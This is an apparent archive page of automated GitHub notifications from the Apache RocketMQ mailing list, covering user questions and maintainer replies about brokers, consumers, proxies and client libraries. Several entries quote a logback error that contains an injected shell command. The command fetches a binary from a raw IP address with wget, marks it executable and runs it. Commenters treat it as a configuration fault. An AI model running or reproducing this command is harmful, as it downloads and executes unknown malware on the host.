GitHub user drivebyer added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
> 用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同
看来我不是一个人 :)
GitHub link:
https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736535
This
GitHub user anguoming added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同
GitHub link:
https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736493
This is an
GitHub user yuhai-yang added a comment to the discussion: create grpc conn
failed, err=context deadline exceeded
me too
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/579#discussioncomment-9734478
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user zhiliatom added a comment to the discussion:
consumerMessageBatchMaxSize未生效
`consumerMessageBatchMaxSize`默认值就是
1，可以在消费者客户端中修改`consumer.setConsumerMessageBatchMaxSize(32)`生效。注意这个值并不可以无限大，因为客户端每次从
Broker
GitHub user zhiliatom added a comment to the discussion: client 4.9.5 消费不均衡
顺序消息会根据 shardingkey 对消息分片，观察brokeroffset位点，是否第一个 broker 的消息投递数量就是第二个 broker
的两倍呢？
GitHub link:
https://github.com/apache/rocketmq/discussions/8181#discussioncomment-9687736
This is an automatically sent email
GitHub user zhiliatom closed a discussion: Can't generate rocketmq_client.log
in mac
Hi, I'm using 5.x version consumer example in my mac and work success.
But I can't find rocketmq_client.log in
~/logs/rocketmqlogs/rocketmq_client.log. I didn't set any env parameter or
logback config file.
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
@RongtongJin
GitHub link: https://github.com/apache/rocketmq/discussions/8258
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
配置从k8s heml官方镜像中拷贝的；
@RongtongJin
GitHub link:
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
配置从k8s heml官方镜像中拷贝的；
GitHub link: https://github.com/apache/rocketmq/discussions/8258
francisoliverlee opened a new pull request, #933:
URL: https://github.com/apache/rocketmq-externals/pull/933
## What is the purpose of the change
X
## Brief changelog
XX
## Verifying this change
Follow this checklist to help us incorporate
GitHub user bruce-pang added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
> 是不是 RocketMQHome
GitHub user jzhParallel added a comment to the discussion: 启动报错Expected the
service PushConsumerImpl-0 [FAILED] to be RUNNING, but the service has FAILED
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true 引起了事故
GitHub link: https://github.com/apache/rocketmq/discussions/8258
This is an automatically sent email for
GitHub user zhiliatom added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
是不是 RocketMQHome
GitHub user bruce-pang added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
我发现broker.conf里面的内容貌似是启动后动态进行修改的,
GitHub user zhiliatom added a comment to the discussion: 5.1.4
单机单节点启动Broker+Proxy无法发布消息？
官方文档有错误，还需要执行 rmq-proxy.json，例如：执行 sh ./mqbroker -n localhost:9876
--enable-proxy -pc ../conf/rmq-proxy.json ;其中，rmq-proxy.json需要指定
namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user zhiliatom edited a comment on the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable-proxy -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user zhiliatom added a comment to the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user zhiliatom added a comment to the discussion: broker
master宕机卡死之后，client端还继续往broker 发送消息
这个集群版本以及客户端版本都太老了，现在都5.2.0了。可能在客户端处理路由方面存在问题，建议升级到较新点的版本吧，例如4.9.x。
GitHub link:
https://github.com/apache/rocketmq/discussions/8226#discussioncomment-9659346
This is an automatically
GitHub user zhiliatom added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
启动Broker的命令没有localhost:9876 这一段
GitHub link:
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制
感谢解答~
GitHub link:
https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9613322
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user cserwen added a comment to the discussion: Rocketmq tag过滤机制
cq 只存储了消息 tag 的 hashcode 信息，没有具体的 tag 值，如果想要在服务端精确过滤，必须要decode
msg，这样就会增加服务端的计算压力，同时也会增加 pullMessage 的时延，
因为客户端本身就要 decode 消息，因此将精确过滤放在客户端可以很好的利用资源，broker 负责快速初筛，消费者进行最终确认。这样可以避免 broker
端的计算瓶颈，同时让消费者在相对空闲时完成过滤操作。
ztword commented on issue #133:
URL:
https://github.com/apache/rocketmq-client-python/issues/133#issuecomment-2138857042
因为开发者不使用windows
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制
万分感谢~
GitHub link:
https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9588931
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user zhangqhai closed a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user zhangqhai reopened a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user LinkCaau deleted a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
GitHub link:
https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe,
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
这是store.log 2024-05-22 13:19的日志
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 -
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.999=0.00ms cost 0ms
GitHub user LinkCaau added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.999=0.00ms cost 0ms
GitHub user LinkCaau added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
GitHub link:
https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe,
GitHub user cserwen added a comment to the discussion:
后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？
即使没有 shutdown，进程停止，服务端也会认为这个消费者下线了，不会再下发消息
GitHub link:
https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545393
This is an automatically sent email for
GitHub user cserwen added a comment to the discussion:
后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？
a1 升级期间，消费者理应进行 shutdown ，服务端不会再向 shutdown 的消费者发送消息
GitHub link:
https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545382
This is an automatically sent email for
GitHub user cserwen added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
这里是是服务端 Broker 因为 busy 而快速失败返回给客户端的，具体方法你可以看下
cleanExpiredRequestInQueue，如果队头任务等待时间超过了配置值（默认为200ms）就会 fast fail，以便客户端快速到其他节点重试
一般常见于发送队列，对于发送，最可能的就是 操作系统 pagecache
GitHub user xiaoma20082008 added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
> 这个功能，可以在exporter中实现 https://github.com/apache/rocketmq-exporter
也是可以的，但是exporter里需要查询所有的消费组，然后统计数量，在group多的时候，也容易超时和报错。如果直接加metrics，可能更方便一些
GitHub link:
GitHub user zhangqhai closed a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user ling0900 added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？
业务幂等是非常有必要的，这也是兜底的一种方式。
GitHub link:
https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9516998
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send
GitHub user isMrZhang added a comment to the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
有解决办法吗
GitHub link:
https://github.com/apache/rocketmq/discussions/7611#discussioncomment-9503066
This is an automatically sent email for
GitHub user JanYork closed a discussion: How do I dynamically create and delete
a Topic in C++ or Node?
Can other languages have the ability to operate RocketMQ Admin? For example:
adding or deleting Topic in C++ program.
It can be implemented in Java. Netty from rocket.remoting provides the
GitHub user JanYork closed a discussion: When can the PullConsumer mode of
Nodejs be used?
When can the PullConsumer mode of Nodejs be used? I really need this function.
Has anyone packaged it themselves? Can you share it? Or can I use
SimpleConsumer directly to encapsulate an implementation
GitHub user JanYork closed a discussion: Is this open source project still
being maintained?
Why are there no replies to issues and community questions? Is this project
still under maintenance? Don’t have any maintenance staff? Many issues and
community questions have been around for a long
GitHub user JanYork closed a discussion: How to implement sequential
consumption in nodejs in version 5.x?
How do I implement sequential consumption on nodejs? Does grpc provide an
interface?
GitHub link: https://github.com/apache/rocketmq/discussions/8147
This is an automatically sent
GitHub user JanYork closed a discussion: In nodejs, the SimpleConsumer receive
method cannot guarantee that messages are obtained in order?
my consumer code：
```js
require('module-alias/register');
import { SimpleConsumer } from '@/consumer';
const consumer = new SimpleConsumer({
GitHub user RongtongJin added a comment to the discussion: Is this open source
project still being maintained?
Of course, but everyone has work to do, so responses may not be very timely.
Please understand.
GitHub link:
GitHub user panxd98 added a comment to the discussion: RocketMQ5 Proxy
将消息写入remotingCommand
原因找到了，msg修改了内容后没有把StoreSize的值设为0，导致转换为byte数组的时候数组最后多了好几个0，然后客户端解析的时候就把第一条之后的都忽略了，在转换为byte数组前加一个这样的代码就可以了：
```
msg.setStoresize(0);
```
GitHub link:
GitHub user panxd98 deleted a comment on the discussion: RocketMQ5 Proxy
将消息写入remotingCommand
把写入到bytebuffer的代码改成这样好像就可以了，应该是put的时候不会自动更新index值的原因。
```
byteBuffer2.put(msgByte,index,msgByte.length);
```
这里好像没有缺少写入所有msg的接口
GitHub link:
GitHub user panxd98 added a comment to the discussion: RocketMQ5 Proxy
将消息写入remotingCommand
把写入到bytebuffer的代码改成这样好像就可以了，应该是put的时候不会自动更新index值的原因。
```
byteBuffer2.put(msgByte,index,msgByte.length);
```
这里好像没有缺少写入所有msg的接口
GitHub link:
GitHub user panxd98 edited a discussion: RocketMQ5 Proxy 将消息写入remotingCommand
我现在在开发一个Proxy的功能，需要对消费消息请求的response中的消息进行修改。
其中将response转为msgList可以用这个方法:
```
List
msgList=MessageDecoder.decodesBatch(ByteBuffer.wrap(response.geteBody()),true,true,true);
```
GitHub user cserwen added a comment to the discussion: get_miss_tps 作用是什么
如果很高会怎么样
说明拉取请求没有拉到消息，最可能的原因就是请求位点越界了（上界或下界都有可能），但是服务端会返回给客户端有效的位点，看起来是客户端存在问题，没有使用服务端返回的位点去拉取消息
GitHub link:
https://github.com/apache/rocketmq/discussions/8122#discussioncomment-9432678
This is an automatically
GitHub user cserwen added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？
首先 RocketMQ 不保证仅消费一次，消费重复是可能的，最常见的如 Rebalance 导致的重复消费，针对你这种情况，提供几个排查点：
1. 通过查询重试消息，确认是否产生了两条重试消息，产生相同重试消息的原因有很多，这里不会详细列举
2. 如果只有一条重试消息，确认下重试消费期间是否有 Rebalance ，
3. 消费组下是否存在多个 clientId 相同的消费者，clientId 相同会导致 rebalance
GitHub user fuyou001 added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？
是的，必须要做幂等。
GitHub link:
https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9428479
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user RongtongJin added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
也可以在rocketmq内核的metrics中增加
GitHub link:
https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417473
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user leizhiyuan added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
这个功能，可以在exporter中实现
https://github.com/apache/rocketmq-exporter
GitHub link:
https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417416
This is an automatically sent email
GitHub user xiaoma20082008 edited a comment on the discussion:
当topic/group超过3w后,broker无法注册到namesrv
能不能上报总的topic个数指标和总的group个数的指标，这样可以添加告警
GitHub link:
https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417312
This is an automatically sent email for
GitHub user xiaoma20082008 added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
能不能上报总的topic个数指标和总的group个数的指标，这样可以添加告警 @RongtongJin
GitHub link:
https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9417312
This is an automatically sent email for
GitHub user Willhow-Gao closed a discussion:
ConsumeMessageOrderlyService消费消息时，对processQueue的consumeLock加读锁的作用是什么
看网上的资料都说加锁是为了防止当前consumer还在消费，且没有提交位移时发生了重平衡，正在消费的messagequeue被分配给了其他消费者，导致重复消费。但是通过阅读源码发现，在发生锁争抢时，processQueue是dropped状态，即使加了读锁保证消费完了才继续重分配，消费位移还是无法被提交。还是我理解有误？
Yifan200809 opened a new issue, #150:
URL: https://github.com/apache/rocketmq-client-python/issues/150
Mac M3在安装librocketmq后遇到报错
使用wget
https://github.com/apache/rocketmq-client-cpp/releases/download/2.0.0/rocketmq-client-cpp-2.0.0-bin-release.darwin.tar.gz安装后报错：
OSError:
GitHub user RongtongJin added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
或者打开enableSplitRegistration
GitHub link:
https://github.com/apache/rocketmq/discussions/8107#discussioncomment-9351326
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user cserwen added a comment to the discussion: How do I dynamically
create and delete a Topic in C++ or Node?
Currently, grpc maybe not support to operate metadata, you can implement the
protocol through reference[ rocketmq-client-cpp
](https://github.com/apache/rocketmq-client-cpp)
GitHub user wz2cool added a comment to the discussion: BROADCASTING
模式下怎么看消费速度和延迟
感谢 我试试看哈
GitHub link:
https://github.com/apache/rocketmq/discussions/8094#discussioncomment-9342171
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email
GitHub user cserwen added a comment to the discussion: BROADCASTING
模式下怎么看消费速度和延迟
Java 消费者里也有一个 类用于记录了些状态，ConsumerStatsManager，但是没有堆积的信息，
```
ConsumerStatsManager stats =
consumer.getDefaultMQPushConsumerImpl().getConsumerStatsManager()
```
GitHub link:
GitHub user cserwen added a comment to the discussion: BROADCASTING
模式下怎么看消费速度和延迟
广播消费这部分没有目前没有监控，所以暂时看不了。不过可以通过一些特殊的方法实现一下这个功能，比如
- 可以通过 client 拿到所有分区的最大位点，然后读取本地保存的已提交的位点来计算堆积；
- 定时读取本地已提交的位点来计算消费速度
GitHub link:
https://github.com/apache/rocketmq/discussions/8094#discussioncomment-9338690
GitHub user MyFloret added a comment to the discussion: Function
'changeInvisibleDuration0' is infinitely recursive and can only end by throwing
an exception. Unused method changeInvisibleDuration0
I don't. I don't understand this either
GitHub link:
GitHub user JanYork edited a discussion: Function 'changeInvisibleDuration0' is
infinitely recursive and can only end by throwing an exception. Unused method
changeInvisibleDuration0
There is a function in
KrishSinghal1 commented on issue #89:
URL: https://github.com/apache/rocketmq-docker/issues/89#issuecomment-2095931495
> The alpine-based image 'eclipse-temurin:8-jdk-alpine' is not supported on
aarch64, where Apple M1/M2 chips run:
GitHub user biningo added a comment to the discussion: How do I dynamically
create and delete a Topic in C++ or Node?
@JanYork But I don't know if
[RIP-17](https://github.com/apache/rocketmq/wiki/RIP-17-RocketMQ-HTTP-Proxy-Support)
will add an http api about admin.
GitHub link:
GitHub user biningo added a comment to the discussion: How do I dynamically
create and delete a Topic in C++ or Node?
Admin has no sdk for other languages.
But I think there are two ways to solve this problem.
1. You can wrap rocketmq-tools to implement the http proxy，and then use other
GitHub user biningo edited a comment on the discussion: How do I dynamically
create and delete a Topic in C++ or Node?
Admin has no sdk for other languages. But I think there are two ways to solve
this problem.
1. You can wrap rocketmq-tools to implement the http proxy，and then use other
GitHub user JanYork closed a discussion: Using rocketmq-client-java send
message appears: Expected the service ProducerImpl-0 [FAILED] to be RUNNING,
but the service has FAILED
Has anyone solved or encountered this problem? Am I using it incorrectly?
client error：`Using rocketmq-client-java
GitHub user ppluck closed a discussion: Rocketmq Rust clients: I have an error
for "..." while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for
GitHub user ppluck deleted a comment on the discussion: Rocketmq Rust clients:
I have an error for "..." while consuming a message.
supplement：
I find that client_type cannot be modified in ClientOption.
```rust
impl Default for ClientOption {
fn default() -> Self {
GitHub user biningo added a comment to the discussion:
不同的消费者订阅同一个topic的不同tag，消息多的tag是否会影响消息少tag的消费速度
同一个消费者组的话，里面的消费者的订阅关系必须是一致的，文档：https://rocketmq.apache.org/docs/bestPractice/05subscribe
你指的是不同的消费者组订阅不同的tag是否会互相影响？这必然不会，每个消费者组都相当于是独立的
GitHub link:
GitHub user mengwuzhi added a comment to the discussion: Problem encountered
during client connection
I solved it after I deploeyed a proxy component. Thank you very much.
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9237813
This is an
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound]
GitHub user mengwuzhi added a comment to the discussion: Problem encountered
during client connection
I downloaded the java codes from this
repository(https://github.com/apache/rocketmq-clients/tree/master/java), and
use the example class to connect the rocketMQ server. I don't know much
GitHub user leizhiyuan added a comment to the discussion: Problem encountered
during client connection
it seems you use grpc client to connect the remoting server
you need deploy proxy component ,and connect the proxy
GitHub link:
GitHub user ppluck edited a discussion: Rust clients: I have an error for
"...receive telemetry command but there is no handler..." while consuming a
message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session
GitHub user ppluck edited a discussion: Rocketmq Rust clients: I have an error
for "..." while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for
GitHub user ppluck edited a discussion: Rust clients: I have an error for "..."
while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for
GitHub user ppluck added a comment to the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find that client_type cannot be modified in ClientOption.
```rust
impl Default for ClientOption {
fn default() -> Self {
ClientOption {
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound]
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound]
GitHub user cgeffect edited a discussion: [crash bug] c++
rocketmq::Producer析构时程序crash
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread
GitHub user cgeffect deleted a comment on the discussion: [crash bug] c++
rocketmq::Producer析构时程序crash
又确认了一遍, 和topic是否提前在控制台注册与否没关系, 是rocketmq::Producer析构导致的crash
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/733#discussioncomment-9189987
This is an automatically
GitHub user mengwuzhi added a comment to the discussion: Problem encountered
during client connection
I'm not very sure if it is a problem with my server, It happened in both
production and development environments simultaneously.
I can test but no touch with the production server.
On my
GitHub user leizhiyuan added a comment to the discussion: Problem encountered
during client connection
It should be an issue with your server, check the proxy logs.
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9232741
This is an
GitHub user ppluck deleted a comment on the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find this error while I debuged。
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
GitHub user ppluck edited a discussion: Rust clients: I have an error for "..."
while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for
GitHub user ppluck added a comment to the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find this error while I debuged。
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Jasongsq opened a new issue, #149:
URL: https://github.com/apache/rocketmq-client-python/issues/149
My rocketMQ install rocketmq v4.9.3, when I used
rocketmq-client-python-2.0.0, SDK throw error like this "No route info of this
topic xxx,error:"-1"", My topic name is correct and is exist
wuteng606 commented on issue #25:
URL:
https://github.com/apache/rocketmq-client-nodejs/issues/25#issuecomment-2071560253
是和[rocketmq-client-nodejs](https://github.com/apache/rocketmq-client-nodejs)功能一样的，只是升级了下版本兼容问题，如果可以，你可以直接看源码了解下
--
This is an automated message from the Apache Git
GitHub user cgeffect edited a discussion: [crash bug] c++
rocketmq::Producer析构时程序crash
Linux centos, rocketmq 5.0.1版本
在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构.
程序crash
[2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route
query
GitHub user cgeffect added a comment to the discussion: 如何链接rocketmq静态库?
已解决
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/729#discussioncomment-9190113
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user cgeffect edited a discussion: c++ rocketmq::Producer析构时程序crash
在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构.
程序crash
[2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route
query cache for topic=algorithm_topic
[2024-04-22
GitHub user cgeffect edited a discussion: c++ rocketmq::Producer析构时程序crash
Linux centos, rocketmq 5.0.1版本
在一个函数内部创建了一个rocketmq::Producer, 注册的topic还没有在控制台创建, 出了函数作用域rocketmq::Producer析构.
程序crash
[2024-04-22 18:41:01.045] [info] [ClientImpl.cpp:304] Create inflight route
query cache for
GitHub user cgeffect added a comment to the discussion:
rocketmq::Producer析构时程序crash
又确认了一遍, 和topic是否提前在控制台注册与否没关系, 是rocketmq::Producer析构导致的crash
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/733#discussioncomment-9189987
This is an automatically sent email for
JanYork commented on issue #25:
URL:
https://github.com/apache/rocketmq-client-nodejs/issues/25#issuecomment-2068925805
功能是齐全的吗？
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific
GitHub user cgeffect deleted a comment on the discussion: 如何链接rocketmq静态库?
5.x版本在编译的时候可以禁用protobuf吗
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/729#discussioncomment-9144172
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please
GitHub user cgeffect edited a comment on the discussion: 如何链接rocketmq静态库?
我的项目中已经使用了protobuf3.20, 编译rocketmq时, 使用的grpc是1.462, grpc内部使用的protobuf是3.19.0,
目前确认时因为两个protobuf版本不同, 导致的crash. 有什么办法可把rocketmq里的依赖的静态库完全和工程里的静态库符号完全隔离?
通过这种方式吗?
GitHub user cgeffect edited a comment on the discussion: 如何链接rocketmq静态库?
我的项目中已经使用了protobuf3.20, 编译rocketmq时, 使用的grpc是1.462, grpc内部使用的protobuf是3.19.0,
目前确认时因为两个protobuf版本不同, 导致的crash. 有什么办法可把rocketmq里的依赖的静态库完全和工程里的静态库符号完全隔离?
GitHub link:
1 - 100 of 896 matches
Mail list logo
